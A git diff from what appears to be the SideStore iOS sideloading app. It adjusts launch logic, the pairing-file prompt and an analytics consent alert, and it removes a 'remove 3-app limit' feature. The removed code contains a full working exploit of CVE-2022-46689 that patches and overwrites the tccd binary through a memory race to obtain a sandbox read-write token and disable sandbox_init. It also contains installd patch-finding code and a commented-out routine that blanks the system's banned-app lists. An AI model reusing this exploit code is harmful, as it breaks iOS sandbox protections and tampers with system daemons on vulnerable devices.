SJSURL = "http://sidejitserver._http._tcp.local:8080"
}
// Create a network operation at launch to Refresh SideJITServer
let url = URL(string: "\(SJSURL)/re/")!
let task = URLSession.shared.dataTask(with: url) { (data, response, error) in
print(data)
}
task.resume()
}
func isSideJITServerDetected(completion: @escaping (Result<Void, Error>) -> Void) {
let address = UserDefaults.standard.textInputSideJITServerurl ?? ""
var SJSURL = address
if (UserDefaults.standard.textInputSideJITServerurl ?? "").isEmpty {
SJSURL = "http://sidejitserver._http._tcp.local:8080"
}
// Create a network operation at launch to Refresh SideJITServer
let url = URL(string: SJSURL)!
let task = URLSession.shared.dataTask(with: url) { (data, response, error) in
if let error = error {
print("No SideJITServer on Network")
completion(.failure(error))
return
}
completion(.success(()))
}
task.resume()
return
}
func fetchPairingFile() -> String? {
@@ -98,14 +149,57 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
fm.fileExists(atPath: appResourcePath.path),
let data = fm.contents(atPath: appResourcePath.path),
let contents = String(data: data, encoding: .utf8),
!contents.isEmpty {
!contents.isEmpty,
!UserDefaults.standard.isPairingReset {
print("Loaded ALTPairingFile from \(appResourcePath.path)")
return contents
} else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here"){
} else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here"), !UserDefaults.standard.isPairingReset{
print("Loaded ALTPairingFile from Info.plist")
return plistString
} else {
// Show an alert explaining the pairing file
// Create new Alert
let dialogMessage = UIAlertController(title: "Pairing File", message: "Select the pairing file or select \"Help\" for help.", preferredStyle: .alert)
// Create OK button with action handler
let ok = UIAlertAction(title: "OK", style: .default, handler: { (action) -> Void in
// Try to load it from a file picker
var types = UTType.types(tag: "plist", tagClass: UTTagClass.filenameExtension, conformingTo: nil)
types.append(contentsOf: UTType.types(tag: "mobiledevicepairing", tagClass: UTTagClass.filenameExtension, conformingTo: UTType.data))
types.append(.xml)
let documentPickerController = UIDocumentPickerViewController(forOpeningContentTypes: types)
documentPickerController.shouldShowFileExtensions = true
documentPickerController.delegate = self
self.present(documentPickerController, animated: true, completion: nil)
UserDefaults.standard.isPairingReset = false
})
//Add "help" button to take user to wiki
let wikiOption = UIAlertAction(title: "Help", style: .default) { (action) in
let wikiURL: String = "https://docs.sidestore.io/docs/getting-started/pairing-file"
if let url = URL(string: wikiURL) {
UIApplication.shared.open(url)
}
sleep(2)
exit(0)
}
//Add buttons to dialog message
dialogMessage.addAction(wikiOption)
dialogMessage.addAction(ok)
// Present Alert to
self.present(dialogMessage, animated: true, completion: nil)
let dialogMessage2 = UIAlertController(title: "Analytics", message: "This app contains anonymous analytics for research and project development. By continuing to use this app, you are consenting to this data collection", preferredStyle: .alert)
let ok2 = UIAlertAction(title: "OK", style: .default, handler: { (action) -> Void in})
dialogMessage2.addAction(ok2)
self.present(dialogMessage2, animated: true, completion: nil)
return nil
}
return nil
}
func displayError(_ msg: String) {
@@ -156,10 +250,14 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
try start(pairing_file, documentsDirectory)
} catch {
try! FileManager.default.removeItem(at: FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)"))
displayError("minimuxer failed to start, please restart SideStore. \(error.message())")
displayError("minimuxer failed to start, please restart SideStore. \((error as? LocalizedError)?.failureReason ?? "UNKNOWN ERROR!!!!!! REPORT TO GITHUB ISSUES!")")
}
if #available(iOS 17, *) {
// TODO: iOS 17 and above have a new JIT implementation that is completely broken in SideStore :(
}
else {
start_auto_mounter(documentsDirectory)
}
set_debug(UserDefaults.shared.isDebugLoggingEnabled)
start_auto_mounter(documentsDirectory)
}
}

View File

@@ -1,177 +0,0 @@
// Extension of MDC+AltStoreCore for the functionality AltStore uses
// The only reason we can't have it all in AltStore is because AltStoreCore requires one variable of MDC to determine the free app limit
import Foundation
import AltStoreCore
extension MDC {
#if MDC
enum PatchError: LocalizedError {
case NoFDA(error: String)
case FailedPatchd
var failureReason: String? {
switch (self) {
case .NoFDA(let error): return L10n.Remove3AppLimitView.Errors.noFDA(error)
case .FailedPatchd: return L10n.Remove3AppLimitView.Errors.failedPatchd
}
}
}
static func patch3AppLimit() async throws {
#if !targetEnvironment(simulator)
let res: PatchError? = await withCheckedContinuation { continuation in
grant_full_disk_access { error in
if let error = error {
continuation.resume(returning: PatchError.NoFDA(error: error.message()))
} else if !patch_installd() {
continuation.resume(returning: PatchError.FailedPatchd)
} else {
continuation.resume(returning: nil)
}
}
}
if let error = res {
throw error
}
#else
print("The patch would be running right now if you weren't using a simulator. It will stop \"running\" in 3 seconds.")
try await Task.sleep(nanoseconds: UInt64(3 * Double(NSEC_PER_SEC)))
// throw MDC.PatchError.NoFDA(error: "This is a test error")
#endif
UserDefaults.shared.lastInstalldPatchBootTime = bootTime()
UserDefaults.shared.hasPatchedInstalldEver = true
}
static func alertIfNotPatched() {
guard UserDefaults.shared.hasPatchedInstalldEver && !installdHasBeenPatched && isSupported else { return }
UIApplication.alert(
title: L10n.Remove3AppLimitView.title,
message: L10n.Remove3AppLimitView.NotAppliedAlert.message,
leftButton: (text: L10n.Remove3AppLimitView.NotAppliedAlert.apply, action: { _ in
Task {
do {
try await MDC.patch3AppLimit()
await UIApplication.alert(
title: L10n.Remove3AppLimitView.success
)
} catch {
await UIApplication.alert(
title: L10n.AsyncFallibleButton.error,
message: error.message()
)
}
}
}),
rightButton: (text: L10n.Remove3AppLimitView.NotAppliedAlert.continueWithout, action: nil)
)
}
#endif
private static let ios15 = OperatingSystemVersion(majorVersion: 15, minorVersion: 0, patchVersion: 0) // supported
private static let ios15_7_2 = OperatingSystemVersion(majorVersion: 15, minorVersion: 7, patchVersion: 2) // fixed
private static let ios16 = OperatingSystemVersion(majorVersion: 16, minorVersion: 0, patchVersion: 0) // supported
private static let ios16_2 = OperatingSystemVersion(majorVersion: 16, minorVersion: 2, patchVersion: 0) // fixed
static var isSupported: Bool {
#if targetEnvironment(simulator)
true
#else
(ProcessInfo.processInfo.isOperatingSystemAtLeast(ios15) && !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios15_7_2)) ||
(ProcessInfo.processInfo.isOperatingSystemAtLeast(ios16) && !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios16_2))
#endif
}
}
#if MDC
// enum WhitelistPatchResult {
// case success, failure
// }
//
// let blankplist = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdC8+CjwvcGxpc3Q+Cg=="
//
// func patchWhiteList() {
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedUpps.plist", replacementData: try! Data(base64Encoded: blankplist)!)
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedCdHashes.plist", replacementData: try! Data(base64Encoded: blankplist)!)
// overwriteFileData(originPath: "/private/var/db/MobileIdentityData/Rejections.plist", replacementData: try! Data(base64Encoded: blankplist)!)
// }
//
// func overwriteFileData(originPath: String, replacementData: Data) -> Bool {
// #if false
// let documentDirectory = FileManager.default.urls(
// for: .documentDirectory,
// in: .userDomainMask
// )[0].path
//
// let pathToRealTarget = originPath
// let originPath = documentDirectory + originPath
// let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTarget))
// try! origData.write(to: URL(fileURLWithPath: originPath))
// #endif
//
// // open and map original font
// let fd = open(originPath, O_RDONLY | O_CLOEXEC)
// if fd == -1 {
// print("Could not open target file")
// return false
// }
// defer { close(fd) }
// // check size of font
// let originalFileSize = lseek(fd, 0, SEEK_END)
// guard originalFileSize >= replacementData.count else {
// print("Original file: \(originalFileSize)")
// print("Replacement file: \(replacementData.count)")
// print("File too big!")
// return false
// }
// lseek(fd, 0, SEEK_SET)
//
// // Map the font we want to overwrite so we can mlock it
// let fileMap = mmap(nil, replacementData.count, PROT_READ, MAP_SHARED, fd, 0)
// if fileMap == MAP_FAILED {
// print("Failed to map")
// return false
// }
// // mlock so the file gets cached in memory
// guard mlock(fileMap, replacementData.count) == 0 else {
// print("Failed to mlock")
// return true
// }
//
// // for every 16k chunk, rewrite
// print(Date())
// for chunkOff in stride(from: 0, to: replacementData.count, by: 0x4000) {
// print(String(format: "%lx", chunkOff))
// let dataChunk = replacementData[chunkOff..<min(replacementData.count, chunkOff + 0x4000)]
// var overwroteOne = false
// for _ in 0..<2 {
// let overwriteSucceeded = dataChunk.withUnsafeBytes { dataChunkBytes in
// unalign_csr(
// fd, Int64(chunkOff), dataChunkBytes.baseAddress, dataChunkBytes.count
// )
// }
// if overwriteSucceeded {
// overwroteOne = true
// print("Successfully overwrote!")
// break
// }
// print("try again?!")
// }
// guard overwroteOne else {
// print("Failed to overwrite")
// return false
// }
// }
// print(Date())
// print("Successfully overwrote!")
// return true
// }
//
// func readFile(path: String) -> String? {
// return (try? String?(String(contentsOfFile: path)) ?? "ERROR: Could not read from file! Are you running in the simulator or not unsandboxed?")
// }
#endif

View File

@@ -1,33 +0,0 @@
//
// MDC+AltStoreCore.swift
// AltStoreCore
//
// Created by naturecodevoid on 5/31/23.
// Copyright © 2023 SideStore. All rights reserved.
//
import Foundation
// Parts of MDC we need in AltStoreCore
// TODO: destroy AltStoreCore
public class MDC {
#if MDC
public static var installdHasBeenPatched: Bool {
guard let lastInstalldPatchBootTime = UserDefaults.shared.lastInstalldPatchBootTime else { return false }
return lastInstalldPatchBootTime == bootTime()
}
#endif
}
#if MDC
public func bootTime() -> Date? {
var tv = timeval()
var tvSize = MemoryLayout<timeval>.size
let err = sysctlbyname("kern.boottime", &tv, &tvSize, nil, 0)
guard err == 0, tvSize == MemoryLayout<timeval>.size else {
return nil
}
return Date(timeIntervalSince1970: Double(tv.tv_sec) + Double(tv.tv_usec) / 1_000_000.0)
}
#endif

View File

@@ -1,99 +0,0 @@
//
// Remove3AppLimitView.swift
// SideStore
//
// Created by naturecodevoid on 5/29/23.
// Copyright © 2023 SideStore. All rights reserved.
//
#if MDC
import SwiftUI
import AltStoreCore
fileprivate extension View {
func common() -> some View {
self
.padding()
.transition(.opacity.animation(.linear))
}
}
struct Remove3AppLimitView: View {
@ObservedObject private var iO = Inject.observer
@State var runningPatch = false
@State private var showErrorAlert = false
@State private var errorAlertMessage = ""
@State private var showSuccessAlert = false
@ViewBuilder
private var notSupported: some View {
Text(L10n.Remove3AppLimitView.notSupported)
}
@ViewBuilder
private var installdHasBeenPatched: some View {
Text(L10n.Remove3AppLimitView.alreadyPatched)
Text(L10n.Remove3AppLimitView.tenAppsInfo)
}
@ViewBuilder
private var applyPatch: some View {
Text(L10n.Remove3AppLimitView.patchInfo)
Text(L10n.Remove3AppLimitView.tenAppsInfo)
}
var body: some View {
VStack {
if !MDC.isSupported {
notSupported.common()
} else {
if MDC.installdHasBeenPatched {
installdHasBeenPatched.common()
} else {
applyPatch.common()
SwiftUI.Button(action: {
Task {
do {
guard !runningPatch else { return }
runningPatch = true
try await MDC.patch3AppLimit()
showSuccessAlert = true
} catch {
errorAlertMessage = error.message()
showErrorAlert = true
}
runningPatch = false
}
}) { Text(L10n.Remove3AppLimitView.applyPatch) }
.buttonStyle(FilledButtonStyle(isLoading: runningPatch, hideLabelOnLoading: false))
.padding()
}
}
Spacer()
}
.alert(isPresented: $showErrorAlert) {
Alert(
title: Text(L10n.AsyncFallibleButton.error),
message: Text(errorAlertMessage)
)
}
.alert(isPresented: $showSuccessAlert) {
Alert(
title: Text(L10n.Action.success),
message: Text(L10n.Remove3AppLimitView.success)
)
}
.navigationTitle(L10n.Remove3AppLimitView.title)
.enableInjection()
}
}
struct Remove3AppLimitView_Previews: PreviewProvider {
static var previews: some View {
Remove3AppLimitView()
}
}
#endif

View File

@@ -1,8 +0,0 @@
#ifdef MDC
#pragma once
@import Foundation;
/// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox.
void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable));
bool patch_installd(void);
#endif /* MDC */

View File

@@ -1,612 +0,0 @@
#ifdef MDC
@import Darwin;
@import Foundation;
@import MachO;
#import <mach-o/fixup-chains.h>
// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
// WDBFontOverwrite
// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
// Please don't call this code on iOS 14 or below
// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
#import "grant_full_disk_access.h"
#import "helpers.h"
#import "vm_unaligned_copy_switch_race.h"
typedef NSObject* xpc_object_t;
typedef xpc_object_t xpc_connection_t;
typedef void (^xpc_handler_t)(xpc_object_t object);
xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,
xpc_object_t _Nullable const* values, size_t count);
xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,
uint64_t flags);
void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
void xpc_connection_resume(xpc_connection_t connection);
void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,
dispatch_queue_t replyq, xpc_handler_t handler);
xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,
xpc_object_t message);
xpc_object_t xpc_bool_create(bool value);
xpc_object_t xpc_string_create(const char* string);
xpc_object_t xpc_null_create(void);
const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);
int64_t sandbox_extension_consume(const char* token);
// MARK: - patchfind
struct grant_full_disk_access_offsets {
uint64_t offset_addr_s_com_apple_tcc_;
uint64_t offset_padding_space_for_read_write_string;
uint64_t offset_addr_s_kTCCServiceMediaLibrary;
uint64_t offset_auth_got__sandbox_init;
uint64_t offset_just_return_0;
bool is_arm64e;
};
static bool patchfind_sections(void* executable_map,
struct segment_command_64** data_const_segment_out,
struct symtab_command** symtab_out,
struct dysymtab_command** dysymtab_out) {
struct mach_header_64* executable_header = executable_map;
struct load_command* load_command = executable_map + sizeof(struct mach_header_64);
for (int load_command_index = 0; load_command_index < executable_header->ncmds;
load_command_index++) {
switch (load_command->cmd) {
case LC_SEGMENT_64: {
struct segment_command_64* segment = (struct segment_command_64*)load_command;
if (strcmp(segment->segname, "__DATA_CONST") == 0) {
*data_const_segment_out = segment;
}
break;
}
case LC_SYMTAB: {
*symtab_out = (struct symtab_command*)load_command;
break;
}
case LC_DYSYMTAB: {
*dysymtab_out = (struct dysymtab_command*)load_command;
break;
}
}
load_command = ((void*)load_command) + load_command->cmdsize;
}
return true;
}
static uint64_t patchfind_get_padding(struct segment_command_64* segment) {
struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
struct section_64* last_section = &section_array[segment->nsects - 1];
return last_section->offset + last_section->size;
}
static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length,
const char* needle) {
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
if (!str_offset) {
return 0;
}
uint64_t str_file_offset = str_offset - executable_map;
for (int i = 0; i < executable_length; i += 8) {
uint64_t val = *(uint64_t*)(executable_map + i);
if ((val & 0xfffffffful) == str_file_offset) {
return i;
}
}
return 0;
}
static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) {
// TCCDSyncAccessAction::sequencer
// mov x0, #0
// ret
static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
if (!offset) {
return 0;
}
return offset - executable_map;
}
static uint64_t patchfind_got(void* executable_map, size_t executable_length,
struct segment_command_64* data_const_segment,
struct symtab_command* symtab_command,
struct dysymtab_command* dysymtab_command,
const char* target_symbol_name) {
uint64_t target_symbol_index = 0;
for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
struct nlist_64* sym =
((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index;
const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx;
if (strcmp(sym_name, target_symbol_name)) {
continue;
}
// printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map));
target_symbol_index = sym_index;
break;
}
struct section_64* section_array =
((void*)data_const_segment) + sizeof(struct segment_command_64);
struct section_64* first_section = &section_array[0];
if (!(strcmp(first_section->sectname, "__auth_got") == 0 ||
strcmp(first_section->sectname, "__got") == 0)) {
return 0;
}
uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff;
for (int i = 0; i < first_section->size; i += 8) {
uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i);
uint64_t indirect_table_entry = (val & 0xfffful);
if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
return first_section->offset + i;
}
}
return 0;
}
static bool patchfind(void* executable_map, size_t executable_length,
struct grant_full_disk_access_offsets* offsets) {
struct segment_command_64* data_const_segment = nil;
struct symtab_command* symtab_command = nil;
struct dysymtab_command* dysymtab_command = nil;
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
&dysymtab_command)) {
printf("no sections\n");
return false;
}
if ((offsets->offset_addr_s_com_apple_tcc_ =
patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) {
printf("no com.apple.tcc. string\n");
return false;
}
if ((offsets->offset_padding_space_for_read_write_string =
patchfind_get_padding(data_const_segment)) == 0) {
printf("no padding\n");
return false;
}
if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string(
executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) {
printf("no kTCCServiceMediaLibrary string\n");
return false;
}
if ((offsets->offset_auth_got__sandbox_init =
patchfind_got(executable_map, executable_length, data_const_segment, symtab_command,
dysymtab_command, "_sandbox_init")) == 0) {
printf("no sandbox_init\n");
return false;
}
if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) ==
0) {
printf("no just return 0\n");
return false;
}
struct mach_header_64* executable_header = executable_map;
offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;
return true;
}
// MARK: - tccd patching
static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
// reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
// re-use it until next reboot.
// Returns the sandbox token if there is one, or nil if there isn't one.
xpc_connection_t connection = xpc_connection_create_mach_service(
"com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
NSLog(@"xpc event handler: %@", object);
});
xpc_connection_resume(connection);
const char* keys[] = {
"TCCD_MSG_ID", "function", "service", "require_purpose", "preflight",
"target_token", "background_session",
};
xpc_object_t values[] = {
xpc_string_create("17087.1"),
xpc_string_create("TCCAccessRequest"),
xpc_string_create("com.apple.app-sandbox.read-write"),
xpc_null_create(),
xpc_bool_create(false),
xpc_null_create(),
xpc_bool_create(false),
};
xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
#if 0
xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
NSLog(@"%@", response_message);
#endif
xpc_connection_send_message_with_reply(
connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
^(xpc_object_t object) {
if (!object) {
NSLog(@"object is nil???");
completion(nil);
return;
}
NSLog(@"response: %@", object);
if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
NSLog(@"xpc error?");
completion(nil);
return;
}
NSLog(@"debug description: %@", [object debugDescription]);
const char* extension_string = xpc_dictionary_get_string(object, "extension");
NSString* extension_nsstring =
extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
completion(extension_nsstring);
});
}
static NSData* patchTCCD(void* executableMap, size_t executableLength) {
struct grant_full_disk_access_offsets offsets = {};
if (!patchfind(executableMap, executableLength, &offsets)) {
return nil;
}
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
// strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
char* mutableBytes = data.mutableBytes;
{
// rewrite com.apple.tcc. into blank string
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0;
}
{
// make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write"
// we need to stick this somewhere; just put it in the padding between
// the end of __objc_arrayobj and the end of __DATA_CONST
strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string),
"com.apple.app-sandbox.read-write");
struct dyld_chained_ptr_arm64e_rebase targetRebase =
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
offsets.offset_addr_s_kTCCServiceMediaLibrary);
targetRebase.target = offsets.offset_padding_space_for_read_write_string;
*(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
offsets.offset_addr_s_kTCCServiceMediaLibrary) =
targetRebase;
*(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) =
strlen("com.apple.app-sandbox.read-write");
}
if (offsets.is_arm64e) {
// make sandbox_init call return 0;
struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = {
.auth = 1,
.bind = 0,
.next = 1,
.key = 0, // IA
.addrDiv = 1,
.diversity = 0,
.target = offsets.offset_just_return_0,
};
*(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
offsets.offset_auth_got__sandbox_init) =
targetRebase;
} else {
// make sandbox_init call return 0;
struct dyld_chained_ptr_64_rebase targetRebase = {
.bind = 0,
.next = 2,
.target = offsets.offset_just_return_0,
};
*(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) =
targetRebase;
}
return data;
}
static bool overwrite_file(int fd, NSData* sourceData) {
for (int off = 0; off < sourceData.length; off += 0x4000) {
bool success = false;
for (int i = 0; i < 2; i++) {
if (unaligned_copy_switch_race(
fd, off, sourceData.bytes + off,
off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
success = true;
break;
}
}
if (!success) {
return false;
}
}
return true;
}
static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token,
NSError* _Nullable error)) {
char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
if (fd == -1) {
// iOS 15.3 and below
targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
fd = open(targetPath, O_RDONLY | O_CLOEXEC);
}
off_t targetLength = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
NSData* sourceData = patchTCCD(targetMap, targetLength);
if (!sourceData) {
completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:5
userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]);
return;
}
if (!overwrite_file(fd, sourceData)) {
overwrite_file(fd, originalData);
munmap(targetMap, targetLength);
completion(
nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:1
userInfo:@{
NSLocalizedDescriptionKey : @"Can't overwrite file: your device may "
@"not be vulnerable to CVE-2022-46689."
}]);
return;
}
munmap(targetMap, targetLength);
xpc_crasher("com.apple.tccd");
sleep(1);
call_tccd(^(NSString* _Nullable extension_token) {
overwrite_file(fd, originalData);
xpc_crasher("com.apple.tccd");
NSError* returnError = nil;
if (extension_token == nil) {
returnError =
[NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:2
userInfo:@{
NSLocalizedDescriptionKey : @"tccd did not return an extension token."
}];
} else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
returnError = [NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:3
userInfo:@{
NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token "
@"instead of an app sandbox token."
}];
extension_token = nil;
}
completion(extension_token, returnError);
});
}
void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
if (!NSClassFromString(@"NSPresentationIntent")) {
// class introduced in iOS 15.0.
// TODO(zhuowei): maybe check the actual OS version instead?
completion([NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:6
userInfo:@{
NSLocalizedDescriptionKey :
@"Not supported on iOS 14 and below: on iOS 14 the system partition is not "
@"reverted after reboot, so running this may permanently corrupt tccd."
}]);
return;
}
NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
inDomains:NSUserDomainMask][0];
NSURL* sourceURL =
[documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"];
NSError* error = nil;
NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
encoding:NSUTF8StringEncoding
error:&error];
if (cachedToken) {
int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);
if (handle > 0) {
// cached version worked
completion(nil);
return;
}
}
grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) {
if (error) {
completion(error);
return;
}
int64_t handle = sandbox_extension_consume(extension_token.UTF8String);
if (handle <= 0) {
completion([NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:4
userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]);
return;
}
[extension_token writeToURL:sourceURL
atomically:true
encoding:NSUTF8StringEncoding
error:&error];
completion(nil);
});
}
/// MARK - installd patch
struct installd_remove_app_limit_offsets {
uint64_t offset_objc_method_list_t_MIInstallableBundle;
uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods;
uint64_t offset_data_const_end_padding;
// MIUninstallRecord::supportsSecureCoding
uint64_t offset_return_true;
};
struct installd_remove_app_limit_offsets gAppLimitOffsets = {
.offset_objc_method_list_t_MIInstallableBundle = 0x519b0,
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8,
.offset_data_const_end_padding = 0x79c38,
.offset_return_true = 0x19860,
};
static uint64_t patchfind_find_class_rw_t_baseMethods(void* executable_map,
size_t executable_length,
const char* needle) {
void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
if (!str_offset) {
return 0;
}
uint64_t str_file_offset = str_offset - executable_map;
for (int i = 0; i < executable_length - 8; i += 8) {
uint64_t val = *(uint64_t*)(executable_map + i);
if ((val & 0xfffffffful) != str_file_offset) {
continue;
}
// baseMethods
if (*(uint64_t*)(executable_map + i + 8) != 0) {
return i + 8;
}
}
return 0;
}
static uint64_t patchfind_return_true(void* executable_map, size_t executable_length) {
// mov w0, #1
// ret
static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6};
void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
if (!offset) {
return 0;
}
return offset - executable_map;
}
static bool patchfind_installd(void* executable_map, size_t executable_length,
struct installd_remove_app_limit_offsets* offsets) {
struct segment_command_64* data_const_segment = nil;
struct symtab_command* symtab_command = nil;
struct dysymtab_command* dysymtab_command = nil;
if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
&dysymtab_command)) {
printf("no sections\n");
return false;
}
if ((offsets->offset_data_const_end_padding = patchfind_get_padding(data_const_segment)) == 0) {
printf("no padding\n");
return false;
}
if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods =
patchfind_find_class_rw_t_baseMethods(executable_map, executable_length,
"MIInstallableBundle")) == 0) {
printf("no MIInstallableBundle class_rw_t\n");
return false;
}
offsets->offset_objc_method_list_t_MIInstallableBundle =
(*(uint64_t*)(executable_map +
offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) &
0xffffffull;
if ((offsets->offset_return_true = patchfind_return_true(executable_map, executable_length)) ==
0) {
printf("no return true\n");
return false;
}
return true;
}
struct objc_method {
int32_t name;
int32_t types;
int32_t imp;
};
struct objc_method_list {
uint32_t entsizeAndFlags;
uint32_t count;
struct objc_method methods[];
};
static void patch_copy_objc_method_list(void* mutableBytes, uint64_t old_offset,
uint64_t new_offset, uint64_t* out_copied_length,
void (^callback)(const char* sel,
uint64_t* inout_function_pointer)) {
struct objc_method_list* original_list = mutableBytes + old_offset;
struct objc_method_list* new_list = mutableBytes + new_offset;
*out_copied_length =
sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method);
new_list->entsizeAndFlags = original_list->entsizeAndFlags;
new_list->count = original_list->count;
for (int method_index = 0; method_index < original_list->count; method_index++) {
struct objc_method* method = &original_list->methods[method_index];
// Relative pointers
uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name;
uint64_t types_file_offset =
((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types;
uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp;
const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull);
callback(sel, &imp_file_offset);
struct objc_method* new_method = &new_list->methods[method_index];
new_method->name = (int32_t)((int64_t)name_file_offset -
(int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes));
new_method->types = (int32_t)((int64_t)types_file_offset -
(int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes));
new_method->imp = (int32_t)((int64_t)imp_file_offset -
(int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes));
}
};
static NSData* make_patch_installd(void* executableMap, size_t executableLength) {
